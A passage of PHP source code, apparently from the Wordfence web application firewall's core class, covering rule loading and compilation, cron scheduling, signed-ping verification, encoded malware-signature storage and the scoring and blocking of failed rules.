	 * @var wfWAFRequestInterface
	 */
	private $request;
	/**
	 * @var wfWAFStorageInterface
	 */
	private $storageEngine;
	/**
	 * @var wfWAFEventBus
	 */
	private $eventBus;
	private $debug = array();
	private $disabledRules;
	private $publicKey = '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzovUDp/qu7r6LT5d8dLL
H/87aRrCjUd6XtnG+afAPVfMKNp4u4L+UuYfw1RfpfquP/zLMGdfmJCUp/oJywkW
Rkqo+y7pDuqIFQ59dHvizmYQRvaZgvincBDpey5Ek9AFfB9fqYYnH9+eQw8eLdQi
h6Zsh8RsuxFM2BW6JD9Km7L5Lyxw9jU+lye7I3ICYtUOVxc3n3bJT2SiIwHK57pW
g/asJEUDiYQzsaa90YPOLdf1Ysz2rkgnCduQaEGz/RPhgUrmZfKwq8puEmkh7Yee
auEa+7b+FGTKs7dUo2BNGR7OVifK4GZ8w/ajS0TelhrSRi3BBQCGXLzUO/UURUAh
1QIDAQAB
-----END PUBLIC KEY-----';


	/**
	 * @param wfWAFRequestInterface $request
	 * @param wfWAFStorageInterface $storageEngine
	 * @param wfWAFEventBus $eventBus
	 * @param string|null $rulesFile
	 */
	public function __construct($request, $storageEngine, $eventBus = null) {
		$this->setRequest($request);
		$this->setStorageEngine($storageEngine);
		$this->setEventBus($eventBus ? $eventBus : new wfWAFEventBus);
	}
	
	public function isReadOnly() {
		$storage = $this->getStorageEngine();
		if ($storage instanceof wfWAFStorageFile) {
			return !wfWAFStorageFile::allowFileWriting();
		}
		
		return false;
	}

	public function getGlobal($global) {
		if (wfWAFUtils::strpos($global, '.') === false) {
			return null;
		}
		list($prefix, $_global) = explode('.', $global);
		switch ($prefix) {
			case 'request':
				$method = "get" . ucfirst($_global);
				if (method_exists('wfWAFRequestInterface', $method)) {
					return call_user_func(array(
						$this->getRequest(),
						$method,
					));
				}
				break;
			case 'server':
				$key = wfWAFUtils::strtoupper($_global);
				if (isset($_SERVER) && array_key_exists($key, $_SERVER)) {
					return $_SERVER[$key];
				}
				break;
		}
		return null;
	}
	
	public function repairCron() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$cron = $this->getStorageEngine()->getConfig('cron', null, 'livewaf');
		$changed = false;
		if (!is_array($cron)) {
			$cron = array();
		}
		
		if (!$this->_hasCronOfType($cron, 'wfWAFCronFetchRulesEvent')) {
			$cron[] = new wfWAFCronFetchRulesEvent(time() +
				(86400 * ($this->getStorageEngine()->getConfig('isPaid', null, 'synced') ? .5 : 7)));
			$changed = true;
		}
		else {
			foreach ($cron as $index => $c) {
				if ($c instanceof wfWAFCronFetchRulesEvent && $this->getStorageEngine()->getConfig('isPaid', null, 'synced')) {
					if ($c->getFireTime() > (time() + 43200)) {
						$cron[$index] = $c->reschedule();
						$changed = true;
						break;
					}
				}
			}
		}
		
		if (!$this->_hasCronOfType($cron, 'wfWAFCronFetchBlacklistPrefixesEvent')) {
			$cron[] = new wfWAFCronFetchBlacklistPrefixesEvent(time() + 7200);
			$changed = true;
		}

		if (!$this->_hasCronOfType($cron, 'wfWAFCronFetchCookieRedactionPatternsEvent')) {
			$cron[] = new wfWAFCronFetchCookieRedactionPatternsEvent();
			$changed = true;
		}
		
		if ($changed) {
			$this->getStorageEngine()->setConfig('cron', $cron, 'livewaf');
		}
	}
	
	protected function _hasCronOfType($crons, $type) {
		foreach ($crons as $c) {
			if ($c instanceof $type) {
				return true;
			}
		}
		
		return false;
	}

	/**
	 *
	 */
	public function runCron() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$storage = $this->getStorageEngine();
		
		if ((
				$storage->getConfig('attackDataNextInterval', null, 'transient') === null ||
				$storage->getConfig('attackDataNextInterval', time() + 0xffff, 'transient') <= time()
			) &&
			$storage->hasPreviousAttackData(microtime(true) - (60 * 5))
		) {
			$this->sendAttackData();
		}
		$cron = $storage->getConfig('cron', null, 'livewaf');
		$run = array();
		$updated = false;
		if (is_array($cron)) {
			/** @var wfWAFCronEvent $event */
			foreach ($cron as $index => $event) {
				$event->setWaf($this);
				if ($event->isInPast()) {
					$run[$index] = $event;
					$newEvent = $event->reschedule();
					if ($newEvent && $newEvent instanceof wfWAFCronEvent && $newEvent !== $event) {
						$cron[$index] = $newEvent;
						$updated = true;
					}
					else {
						unset($cron[$index]);
					}
				}
			}
		}
		$storage->setConfig('cron', $cron, 'livewaf');
		
		if ($updated && method_exists($storage, 'saveConfig')) {
			$storage->saveConfig('livewaf');
		}
		
		foreach ($run as $index => $event) {
			$event->fire();
		}
	}

	/**
	 *
	 */
	public function run() {
		$this->loadRules();
		if ($this->isDisabled()) {
			$this->eventBus->wafDisabled();
			return;
		}
		$this->runMigrations();
		$request = $this->getRequest();
		if ($request->getBody('wfwaf-false-positive-verified') && $this->currentUserCanWhitelist() &&
			wfWAFUtils::hash_equals($request->getBody('wfwaf-false-positive-nonce'), $this->getAuthCookieValue('nonce', ''))
		) {
			$urlParams = wfWAFUtils::json_decode($request->getBody('wfwaf-false-positive-params'), true);
			if (is_array($urlParams) && $urlParams) {
				$whitelistCount = 0;
				foreach ($urlParams as $urlParam) {
					$path = isset($urlParam['path']) ? $urlParam['path'] : false;
					$paramKey = isset($urlParam['paramKey']) ? $urlParam['paramKey'] : false;
					$ruleID = isset($urlParam['ruleID']) ? $urlParam['ruleID'] : false;
					if ($path && $paramKey && $ruleID) {
						$this->whitelistRuleForParam($path, $paramKey, $ruleID, array(
							'timestamp'   => time(),
							'description' => wfWAFI18n::__('Allowlisted via false positive dialog'),
							'source'	  => 'false-positive',
							'ip'          => $request->getIP(),
						));
						$whitelistCount++;
					}
				}
				exit(sprintf(wfWAFI18n::__('Successfully allowlisted %d params.'), $whitelistCount));
			}
		}

		$ip = $this->getRequest()->getIP();
		if ($this->isIPBlocked($ip)) {
			$this->eventBus->prevBlocked($ip);
			$e = new wfWAFBlockException();
			$e->setRequest($this->getRequest());
			$e->setFailedRules(array('blocked'));
			$this->blockAction($e);
		}

		try {
			$this->eventBus->beforeRunRules();
			$this->runRules();
			$this->eventBus->afterRunRules();

		} catch (wfWAFAllowException $e) {
			// Do nothing
			$this->eventBus->allow($ip, $e);

		} catch (wfWAFBlockException $e) {
			$this->eventBus->block($ip, $e);
			$this->blockAction($e);

		} catch (wfWAFBlockXSSException $e) {
			$this->eventBus->blockXSS($ip, $e);
			$this->blockXSSAction($e);

		} catch (wfWAFBlockSQLiException $e) {
			$this->eventBus->blockSQLi($ip, $e);
			$this->blockAction($e);
			
		}

		$this->runCron();
		$this->repairCron();

		// Check if this is signed request and update ruleset.

		$ping = $this->getRequest()->getBody('ping256');
		$pingResponse = $this->getRequest()->getBody('ping_response');

		if ($ping && $pingResponse &&
			$this->verifyPing($ping) &&
			$this->verifySignedRequest($this->getRequest()->getBody('signature256'), $this->getStorageEngine()->getConfig('apiKey', null, 'synced'))
		) {
			// $this->updateRuleSet(base64_decode($this->getRequest()->body('ping')));
			$event = new wfWAFCronFetchRulesEvent(time() - 2);
			$event->setWaf($this);
			$event->fire();

			header('Content-type: text/plain');
			$pingResponse = preg_replace('/[a-zA-Z0-9]/', '', $this->getRequest()->getBody('ping_response'));
			exit('Success: ' . hash('sha256', $this->getStorageEngine()->getConfig('apiKey', null, 'synced') . $pingResponse));
		}
	}

	/**
	 *
	 */
	public function loadRules() {
		$storageEngine = $this->getStorageEngine();
		if ($storageEngine instanceof wfWAFStorageFile) {
			$logLevel = error_reporting();
			if (wfWAFUtils::isCli()) { //Done to suppress errors from WP-CLI when the WAF is run on environments that have a server level constant to use the MySQLi storage engine that is not in place when running from the CLI
				error_reporting(0); 
			}
			
			// Acquire lock on this file so we're not including it while it's being written in another process.
			$handle = fopen($storageEngine->getRulesFile(), 'r');
			$locked = $handle !== false && flock($handle, LOCK_SH);
			/** @noinspection PhpIncludeInspection */
			include $storageEngine->getRulesFile();
			if ($locked)
				flock($handle, LOCK_UN);
			if ($handle !== false)
				fclose($handle);
			
			if (wfWAFUtils::isCli()) {
				error_reporting($logLevel);
			}
		} else {
			$wafRules = $storageEngine->getRules();
			if (is_array($wafRules)) {
				if (array_key_exists('rules', $wafRules)) {
					/** @var wfWAFRule $rule */
					foreach ($wafRules['rules'] as $rule) {
						$rule->setWAF($this);
						$this->rules[intval($rule->getRuleID())] = $rule;
					}
				}

				$properties = array(
					'failScores',
					'variables',
					'whitelistedParams',
					'blacklistedParams',
				);
				foreach ($properties as $property) {
					if (array_key_exists($property, $wafRules)) {
						$this->{$property} = $wafRules[$property];
					}
				}
			}
		}
		if ( !defined( 'WFWAF_RULES_LOADED' ) ) {
			define( 'WFWAF_RULES_LOADED', true );
		}
	}

	private function handleRuleFailure($rule, $cause) {
		global $wf_waf_failure;
		error_log("An unexpected error occurred while processing WAF rule " . $rule->getRuleID() . ": {$cause}");
		$wf_waf_failure = [
			'rule_id' => $rule->getRuleID(),
			'throwable' => $cause
		];
	}

	/**
	 * @throws wfWAFAllowException|wfWAFBlockException|wfWAFBlockXSSException
	 */
	public function runRules() {
		global $wf_waf_failure;
		/**
		 * @var int $ruleID
		 * @var wfWAFRule $rule
		 */
		foreach ($this->getRules() as $ruleID => $rule) {
			if (!$this->isRuleDisabled($ruleID)) {
				try {
					$rule->evaluate();
				}
				catch (wfWAFRunException $e) {
					throw $e;
				}
				catch (Exception $e) { // In PHP 5, Throwable does not exist
					$this->handleRuleFailure($rule, $e);
				}
				catch (Throwable $t) {
					$this->handleRuleFailure($rule, $t);
				}
			}
		}

		$blockActions = array();
		foreach ($this->failedRules as $paramKey => $categories) {
			foreach ($categories as $category => $failedRules) {
				foreach ($failedRules as $failedRule) {
					/**
					 * @var wfWAFRule $rule
					 * @var wfWAFRuleComparisonFailure $failedComparison
					 */
					$rule = $failedRule['rule'];
					$failedComparison = $failedRule['failedComparison'];
					$action = $failedRule['action'];

					if ($action !== 'log') {
						$score = $rule->getScore();
						if ($failedComparison->hasMultiplier()) {
							$score *= $failedComparison->getMultiplier();
						}
						if (!isset($this->failScores[$category])) {
							$this->failScores[$category] = 100;
						}
						if (!isset($this->scores[$paramKey][$category])) {
							$this->scores[$paramKey][$category] = 0;
						}
						$this->scores[$paramKey][$category] += $score;
						if ($this->scores[$paramKey][$category] >= $this->failScores[$category]) {
							$blockActions[$category] = array(
								'paramKey'         => $paramKey,
								'score'            => $this->scores[$paramKey][$category],
								'action'           => $action,
								'rule'             => $rule,
								'failedComparison' => $failedComparison,
							);
						}
						if (defined('WFWAF_DEBUG') && WFWAF_DEBUG) {
							$this->debug[] = sprintf("%s tripped %s for %s->%s('%s'). Score %d/%d", $paramKey, $action,
								$category, $failedComparison->getAction(), $failedComparison->getExpected(),
								$this->scores[$paramKey][$category], $this->failScores[$category]);
						}
					}
				}
			}
		}

		uasort($blockActions, array($this, 'sortBlockActions'));
		foreach ($blockActions as $blockAction) {
			call_user_func(array($this, $blockAction['action']), $blockAction['rule'], $blockAction['failedComparison'], false);
		}
	}

	/**
	 * @param array $a
	 * @param array $b
	 * @return int
	 */
	private function sortBlockActions($a, $b) {
		if ($a['score'] == $b['score']) {
			return 0;
		}
		return ($a['score'] > $b['score']) ? -1 : 1;
	}

	protected function runMigrations() {
		if (!wfWAFStorageFile::allowFileWriting()) { return false; }
		
		$storageEngine = $this->getStorageEngine();
		$currentVersion = $storageEngine->getConfig('version');
		if (wfWAFUtils::isVersionBelow(WFWAF_VERSION, $currentVersion)) {
			if (!$currentVersion) {
				$cron = array(
					new wfWAFCronFetchRulesEvent(time() +
						(86400 * ($this->getStorageEngine()->getConfig('isPaid', null, 'synced') ? .5 : 7))),
					new wfWAFCronFetchBlacklistPrefixesEvent(time() + 7200),
				);
				$this->getStorageEngine()->setConfig('cron', $cron, 'livewaf');
			}

			// Any migrations to newer versions go here.
			
			if (wfWAFUtils::isVersionBelow('1.0.2', $currentVersion)) {
				$event = new wfWAFCronFetchRulesEvent(time() - 2);
				$event->setWaf($this);
				$event->fire();
			}
			
			if (wfWAFUtils::isVersionBelow('1.0.3', $currentVersion)) {
				$this->getStorageEngine()->purgeIPBlocks();
				
				$cron = (array) $this->getStorageEngine()->getConfig('cron', null, 'livewaf');
				if (is_array($cron)) {
					$cron[] = new wfWAFCronFetchBlacklistPrefixesEvent(time() + 7200);
				}
				$this->getStorageEngine()->setConfig('cron', $cron, 'livewaf');
				
				$event = new wfWAFCronFetchBlacklistPrefixesEvent(time() - 2);
				$event->setWaf($this);
				$event->fire();
			}
			
			if (wfWAFUtils::isVersionBelow('1.0.4', $currentVersion)) {
				$movedKeys = array(
					'whitelistedURLParams' => 'livewaf',
					'cron' => 'livewaf',
					'attackDataNextInterval' => 'transient',
					'rulesLastUpdated' => 'transient',
					'premiumCount' => 'transient',
					'filePatterns' => 'transient',
					'filePatternCommonStrings' => 'transient',
					'filePatternIndexes' => 'transient',
					'signaturesLastUpdated' => 'transient',
					'signaturePremiumCount' => 'transient',
					'createInitialRulesDelay' => 'transient',
					'watchedIPs' => 'transient',
					'blockedPrefixes' => 'transient',
					'blacklistAllowedCache' => 'transient',
					'apiKey' => 'synced',
					'isPaid' => 'synced',
					'siteURL' => 'synced',
					'homeURL' => 'synced',
					'whitelistedIPs' => 'synced',
					'howGetIPs' => 'synced',
					'howGetIPs_trusted_proxies' => 'synced',
					'howGetIPs_trusted_proxies_unified' => 'synced',
					'pluginABSPATH' => 'synced',
					'other_WFNet' => 'synced',
					'serverIPs' => 'synced',
					'blockCustomText' => 'synced',
					'timeoffset_wf' => 'synced',
					'advancedBlockingEnabled' => 'synced',
					'disableWAFIPBlocking' => 'synced',
					'patternBlocks' => 'synced',
					'countryBlocks' => 'synced',
					'otherBlocks' => 'synced',
					'lockouts' => 'synced',
				);
				foreach ($movedKeys as $key => $category) {
					$value = $this->getStorageEngine()->getConfig($key, null, '');
					$this->getStorageEngine()->setConfig($key, $value, $category);

					if ($this->getStorageEngine() instanceof wfWAFStorageMySQL &&
						$this->getStorageEngine()->getStorageTable($category) === $this->getStorageEngine()->getStorageTable('')
					) {
						continue;
					}

					$this->getStorageEngine()->unsetConfig($key, '');
				}
			}
			if (wfWAFUtils::isVersionBelow('1.0.5', $currentVersion)) {
				$cron = $this->getStorageEngine()->getConfig('cron', array(), 'livewaf');
				$cron[] = new wfWAFCronFetchCookieRedactionPatternsEvent();
				$this->getStorageEngine()->setConfig('cron', $cron, 'livewaf');
			}
			
			$this->getStorageEngine()->setConfig('version', WFWAF_VERSION);
		}
	}

	/**
	 * @param wfWAFRule $rule
	 */
	public function tripRule($rule) {
		$this->trippedRules[] = $rule;
		$action = $rule->getAction();
		$scores = $rule->getScore();
		$categories = $rule->getCategory();
		if (is_array($categories)) {
			for ($i = 0; $i < count($categories); $i++) {
				if (is_array($action) && !empty($action[$i])) {
					$a = $action[$i];
				} else {
					$a = $action;
				}
				if ($this->isAllowedAction($a)) {
					$r = clone $rule;
					$r->setScore($scores[$i]);
					$r->setCategory($categories[$i]);
					/** @var wfWAFRuleComparisonFailure $failed */
					foreach ($r->getComparisonGroup()->getFailedComparisons() as $failed) {
						call_user_func(array($this, $a), $r, $failed);
					}
				}
			}
		} else {
			if ($this->isAllowedAction($action)) {
				/** @var wfWAFRuleComparisonFailure $failed */
				foreach ($rule->getComparisonGroup()->getFailedComparisons() as $failed) {
					call_user_func(array($this, $action), $rule, $failed);
				}
			}
		}
	}

	/**
	 * @return bool
	 */
	public function isInLearningMode() {
		return $this->getStorageEngine()->isInLearningMode();
	}

	/**
	 * @return bool
	 */
	public function isDisabled() {
		return $this->getStorageEngine()->isDisabled() || !WFWAF_ENABLED;
	}

	public function hasOpenSSL() {
		return function_exists('openssl_verify');
	}
	
	public function verifyPing($ping, $algorithm = 'sha256') {
		$hash = hash($algorithm, $this->getStorageEngine()->getConfig('apiKey', null, 'synced'));
		return wfWAFUtils::hash_equals($ping, $hash);
	}

	/**
	 * @param string $signature
	 * @param string $data
	 * @return bool
	 */
	public function verifySignedRequest($signature, $data, $algorithm = OPENSSL_ALGO_SHA256) {
		if (!$this->hasOpenSSL()) {
			return false;
		}
		$valid = openssl_verify($data, $signature, $this->getPublicKey(), $algorithm);
		return $valid === 1;
	}

	/**
	 * @param string $hash
	 * @param string $data
	 * @return bool
	 */
	public function verifyHashedRequest($hash, $data) {
		if ($this->hasOpenSSL()) {
			return false;
		}
		return wfWAFUtils::hash_equals($hash,
			wfWAFUtils::hash_hmac('sha1', $data, $this->getStorageEngine()->getConfig('apiKey', null, 'synced')));
	}

	/**
	 * @return array
	 */
	public function getMalwareSignatures() {
		try {
			$encoded = $this->getStorageEngine()->getConfig('filePatterns', null, 'transient');
			if (empty($encoded)) {
				return array();
			}
			
			$authKey = $this->getStorageEngine()->getConfig('authKey');
			$encoded = base64_decode($encoded);
			$paddedKey = wfWAFUtils::substr(str_repeat($authKey, ceil(strlen($encoded) / strlen($authKey))), 0, strlen($encoded));
			$json = $encoded ^ $paddedKey;
			$signatures = wfWAFUtils::json_decode($json, true);
			if (!is_array($signatures)) {
				return array();
			}
			return $signatures;
		}
		catch (Exception $e) {
			//Ignore
		}
		return array();
	}
	
	/**
	 * @param array $signatures
	 * @param bool $updateLastUpdatedTimestamp
	 */
	public function setMalwareSignatures($signatures, $updateLastUpdatedTimestamp = true) {
		try {
			if (!is_array($signatures)) {
				$signatures = array();
			}
			
			$authKey = $this->getStorageEngine()->getConfig('authKey');
			if (strlen($authKey) === 0) {
				return;
			}

			$json = wfWAFUtils::json_encode($signatures);
			$paddedKey = wfWAFUtils::substr(str_repeat($authKey, ceil(strlen($json) / strlen($authKey))), 0, strlen($json));
			$payload = $json ^ $paddedKey;
			$this->getStorageEngine()->setConfig('filePatterns', base64_encode($payload), 'transient');
			
			if ($updateLastUpdatedTimestamp) {
				$this->getStorageEngine()->setConfig('signaturesLastUpdated', is_int($updateLastUpdatedTimestamp) ? $updateLastUpdatedTimestamp : time(), 'transient');
			}
		}
		catch (Exception $e) {
			//Ignore
		}
	}
	
	/**
	 * @return array
	 */
	public function getMalwareSignatureCommonStrings() {
		try {
			$encoded = $this->getStorageEngine()->getConfig('filePatternCommonStrings', null, 'transient');
			if (empty($encoded)) {
				return array();
			}
			
			//Grab the list of words
			$authKey = $this->getStorageEngine()->getConfig('authKey');
			if (strlen($authKey) === 0) {
				return array();
			}

			$encoded = base64_decode($encoded);
			$paddedKey = wfWAFUtils::substr(str_repeat($authKey, ceil(strlen($encoded) / strlen($authKey))), 0, strlen($encoded));
			$json = $encoded ^ $paddedKey;
			$commonStrings = wfWAFUtils::json_decode($json, true);
			if (!is_array($commonStrings)) {
				return array();
			}
			
			//Grab the list of indexes
			$json = $this->getStorageEngine()->getConfig('filePatternIndexes', null, 'transient');
			if (empty($json)) {
				return array();
			}
			$signatureIndexes = wfWAFUtils::json_decode($json, true);
			if (!is_array($signatureIndexes)) {
				return array();
			}
			
			//Reconcile the list of indexes and transform into a list of words
			$signatureCommonWords = array();
			foreach ($signatureIndexes as $indexSet) {
				$entry = array();
				foreach ($indexSet as $i) {
					if (isset($commonStrings[$i])) {
						$entry[] = &$commonStrings[$i];
					}
				}
				$signatureCommonWords[] = $entry;
			}
			
			return $signatureCommonWords;
		}
		catch (Exception $e) {
			//Ignore
		}
		return array();
	}
	
	/**
	 * @param array $commonStrings
	 * @param array $signatureIndexes
	 */
	public function setMalwareSignatureCommonStrings($commonStrings, $signatureIndexes) {
		try {
			if (!is_array($commonStrings)) {
				$commonStrings = array();
			}
			
			if (!is_array($signatureIndexes)) {
				$signatureIndexes = array();
			}
			
			$authKey = $this->getStorageEngine()->getConfig('authKey');
			if (strlen($authKey) === 0) {
				return;
			}

			$json = wfWAFUtils::json_encode($commonStrings);
			$paddedKey = wfWAFUtils::substr(str_repeat($authKey, ceil(strlen($json) / strlen($authKey))), 0, strlen($json));
			$payload = $json ^ $paddedKey;
			$this->getStorageEngine()->setConfig('filePatternCommonStrings', base64_encode($payload), 'transient');
			
			$payload = wfWAFUtils::json_encode($signatureIndexes);
			$this->getStorageEngine()->setConfig('filePatternIndexes', $payload, 'transient');
		}
		catch (Exception $e) {
			//Ignore
		}
	}

	/**
	 * @param $rules
	 * @param bool|int $updateLastUpdatedTimestamp
	 * @throws wfWAFBuildRulesException
	 */
	public function updateRuleSet($rules, $updateLastUpdatedTimestamp = true) {
		try {
			if (is_string($rules)) {
				$ruleString = $rules;
				$parser = new wfWAFRuleParser(new wfWAFRuleLexer($rules), $this);
				$rules = $parser->parse();
			}

			$storageEngine = $this->getStorageEngine();
			if ($storageEngine instanceof wfWAFStorageFile) {
				if ((!is_file($storageEngine->getRulesFile()) && !is_writeable(dirname($storageEngine->getRulesFile()))) ||
					(is_file($storageEngine->getRulesFile()) && !is_writable($storageEngine->getRulesFile()))
				) {
					throw new wfWAFBuildRulesException('Rules file not writable.');
				}

				wfWAFStorageFile::atomicFilePutContents($storageEngine->getRulesFile(), sprintf(<<<PHP
<?php
if (!defined('WFWAF_VERSION') || defined('WFWAF_RULES_LOADED')) {
	exit('Access denied');
}
/*
	This file is generated automatically. Any changes made will be lost.
*/

%s?>
PHP
				, $this->buildRuleSet($rules)), 'rules');
				
				if (!empty($ruleString) && WFWAF_DEBUG && !file_exists($this->getStorageEngine()->getRulesDSLCacheFile())) {
					wfWAFStorageFile::atomicFilePutContents($this->getStorageEngine()->getRulesDSLCacheFile(), $ruleString, 'rules');
				}

			} else {
				$rules = $this->_preprocessRulesArray($rules);
				$this->getStorageEngine()->setRules($rules);
			}

			if ($updateLastUpdatedTimestamp) {
				$this->getStorageEngine()->setConfig('rulesLastUpdated', is_int($updateLastUpdatedTimestamp) ? $updateLastUpdatedTimestamp : time(), 'transient');
			}

		} catch (wfWAFBuildRulesException $e) {
			// Do something.
			throw $e;
		}
	}

	/**
	 * @param string|array $rules
	 * @return string
	 * @throws wfWAFException
	 */
	public function buildRuleSet($rules) {
		if (is_string($rules)) {
			$parser = new wfWAFRuleParser(new wfWAFRuleLexer($rules), $this);
			$rules = $parser->parse();
		}

		if (!array_key_exists('rules', $rules) || !is_array($rules['rules'])) {
			throw new wfWAFBuildRulesException('Invalid rule format passed to buildRuleSet.');
		}
		$exportedCode = '';
		
		$rules = $this->_preprocessRulesArray($rules);

		if (isset($rules['scores']) && is_array($rules['scores'])) {
			foreach ($rules['scores'] as $category => $score) {
				$exportedCode .= sprintf("\$this->failScores[%s] = %d;\n", var_export($category, true), $score);
			}
			$exportedCode .= "\n";
		}

		if (isset($rules['variables']) && is_array($rules['variables'])) {
			foreach ($rules['variables'] as $var => $value) {
				$exportedCode .= sprintf("\$this->variables[%s] = %s;\n", var_export($var, true),
					($value instanceof wfWAFRuleVariable) ? $value->render() : var_export($value, true));
			}
			$exportedCode .= "\n";
		}

		foreach (array('blacklistedParams', 'whitelistedParams') as $key) {
			if (isset($rules[$key]) && is_array($rules[$key])) {
				foreach ($rules[$key] as $paramKey => $payloads) {
					foreach ($payloads as $payload) { /** @var array|string $payload */
						if (is_string($payload)) {
							$exportedCode .= sprintf("\$this->{$key}[%s][] = %s;\n", 
								var_export($paramKey, true),
								var_export($payload, true)
							);
						}
						else if (array_key_exists('conditional', $payload)) {
							$exportedCode .= sprintf("\$this->{$key}[%s][] = array(\n%s => %s,\n%s => %s,\n%s => %s\n);\n", 
								var_export($paramKey, true),
								var_export('url', true), var_export($payload['url'], true),
								var_export('rules', true), var_export($payload['rules'], true),
								var_export('conditional', true), $payload['conditional']->render()
							);
						}
						else {
							$exportedCode .= sprintf("\$this->{$key}[%s][] = array(\n%s => %s,\n%s => %s,\n);\n", 
								var_export($paramKey, true),
								var_export('url', true), var_export($payload['url'], true),
								var_export('rules', true), var_export($payload['rules'], true)
							);
						}
					}
				}
				$exportedCode .= "\n";
			}
		}

		/** @var wfWAFRule $rule */
		foreach ($rules['rules'] as $rule) {
			$rule->setWAF($this);
			$exportedCode .= sprintf(<<<HTML
\$this->rules[%d] = %s;

HTML
				,
				$rule->getRuleID(),
				$rule->render()
			);
		}

		return $exportedCode;
	}
	
	/**
	 * Preprocesses the parsed rules array so it's suitable for use both by the file-based storage engine and the mysqli
	 * engine.
	 * 
	 * @param array $rules
	 * @return array
	 */
	protected function _preprocessRulesArray($rules) {
		$cleaned = $rules;
		foreach (array('blacklistedParams', 'whitelistedParams') as $key) {
			if (isset($rules[$key]) && is_array($rules[$key])) {
				/** @var wfWAFRuleParserURLParam $urlParam */
				foreach ($rules[$key] as $index => $urlParam) {
					unset($cleaned[$key][$index]);
					$paramKey = $urlParam->getParam();
					if (!array_key_exists($paramKey, $cleaned[$key])) {
						$cleaned[$key][$paramKey] = array();
					}
					
					if ($urlParam->getConditional()) {
						$cleaned[$key][$paramKey][] = array(
							'url' => $urlParam->getUrl(),
							'rules' => $urlParam->getRules(),
							'conditional' => $urlParam->getConditional(),
						);
					}
					else if ($urlParam->getRules()) {
						$cleaned[$key][$paramKey][] = array(
							'url' => $urlParam->getUrl(),
							'rules' => $urlParam->getRules(),
						);
					}
					else {
						$cleaned[$key][$paramKey][] = $urlParam->getUrl();
					}
				}
			}
		}
		return $cleaned;
	}

	/**
	 * @param $rules
	 * @return wfWAFRuleComparisonGroup
	 * @throws wfWAFBuildRulesException
	 */
	protected function _buildRuleSet($rules) {
		$ruleGroup = new wfWAFRuleComparisonGroup();
		foreach ($rules as $rule) {
			if (!array_key_exists('type', $rule)) {
				throw new wfWAFBuildRulesException('Invalid rule: type not set.');
			}
			switch ($rule['type']) {
				case 'comparison_group':
					if (!array_key_exists('comparisons', $rule) || !is_array($rule['comparisons'])) {
						throw new wfWAFBuildRulesException('Invalid rule format passed to _buildRuleSet.');
					}
					$ruleGroup->add($this->_buildRuleSet($rule['comparisons']));
					break;

				case 'comparison':
					if (array_key_exists('parameter', $rule)) {
						$rule['parameters'] = array($rule['parameter']);
					}

					foreach (array('action', 'expected', 'parameters') as $ruleRequirement) {
						if (!array_key_exists($ruleRequirement, $rule)) {
							throw new wfWAFBuildRulesException("Invalid rule: $ruleRequirement not set.");
						}
					}

					$ruleGroup->add(new wfWAFRuleComparison($this, $rule['action'], $rule['expected'], $rule['parameters']));
					break;

				case 'operator':
					if (!array_key_exists('operator', $rule)) {
						throw new wfWAFBuildRulesException('Invalid rule format passed to _buildRuleSet. operator not passed.');
					}
					$ruleGroup->add(new wfWAFRuleLogicalOperator($rule['operator']));
					break;

				default:
					throw new wfWAFBuildRulesException("Invalid rule type [{$rule['type']}] passed to _buildRuleSet.");
			}
		}
		return $ruleGroup;
	}

	public function isRuleDisabled($ruleID) {
		if ($this->disabledRules === null) {
			$this->disabledRules = $this->getStorageEngine()->getConfig('disabledRules');
			if (!is_array($this->disabledRules)) {
				$this->disabledRules = array();
			}
		}
		return !empty($this->disabledRules[$ruleID]);
	}
	
	public function getDisabledRuleIDs() {
		if ($this->disabledRules === null) {
			$this->disabledRules = $this->getStorageEngine()->getConfig('disabledRules');
			if (!is_array($this->disabledRules)) {
				$this->disabledRules = array();
			}
		}
		
		$ruleIDs = array();
		foreach ($this->disabledRules as $id => $value) {
			if (!empty($value)) {
				$ruleIDs[] = $id;
			}
		}
		return $ruleIDs;
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @throws wfWAFBlockException
	 */
	public function fail($rule, $failedComparison) {
		$category = $rule->getCategory();
		$paramKey = $failedComparison->getParamKey();
		$this->failedRules[$paramKey][$category][] = array(
			'rule'             => $rule,
			'failedComparison' => $failedComparison,
			'action'           => 'block',
		);
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @throws wfWAFBlockException
	 */
	public function failXSS($rule, $failedComparison) {
		$category = $rule->getCategory();
		$paramKey = $failedComparison->getParamKey();
		$this->failedRules[$paramKey][$category][] = array(
			'rule'             => $rule,
			'failedComparison' => $failedComparison,
			'action'           => 'blockXSS',
		);
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @throws wfWAFBlockException
	 */
	public function failSQLi($rule, $failedComparison) {
		$category = $rule->getCategory();
		$paramKey = $failedComparison->getParamKey();
		$this->failedRules[$paramKey][$category][] = array(
			'rule'             => $rule,
			'failedComparison' => $failedComparison,
			'action'           => 'blockSQLi',
		);
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @throws wfWAFAllowException
	 */
	public function allow($rule, $failedComparison) {
		// Exclude this request from further blocking
		$e = new wfWAFAllowException();
		$e->setFailedRules(array($rule));
		$e->setParamKey($failedComparison->getParamKey());
		$e->setParamValue($failedComparison->getParamValue());
		$e->setRequest($this->getRequest());
		throw $e;
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @param bool $updateFailedRules
	 * @throws wfWAFBlockException
	 */
	public function block($rule, $failedComparison, $updateFailedRules = true) {
		$paramKey = $failedComparison->getParamKey();
		$category = $rule->getCategory();

		if ($updateFailedRules) {
			$this->failedRules[$paramKey][$category][] = array(
				'rule'             => $rule,
				'failedComparison' => $failedComparison,
				'action'           => 'block',
			);
		}

		$e = new wfWAFBlockException();
		$e->setFailedRules(array($rule));
		$e->setParamKey($failedComparison->getParamKey());
		$e->setParamValue($failedComparison->getParamValue());
		$e->setRequest($this->getRequest());
		throw $e;
	}

	/**
	 * @param wfWAFRule $rule
	 * @param wfWAFRuleComparisonFailure $failedComparison
	 * @param bool $updateFailedRules
	 * @throws wfWAFBlockXSSException
	 */
	public function blockXSS($rule, $failedComparison, $updateFailedRules = true) {
		$paramKey = $failedComparison->getParamKey();
		$category = $rule->getCategory();

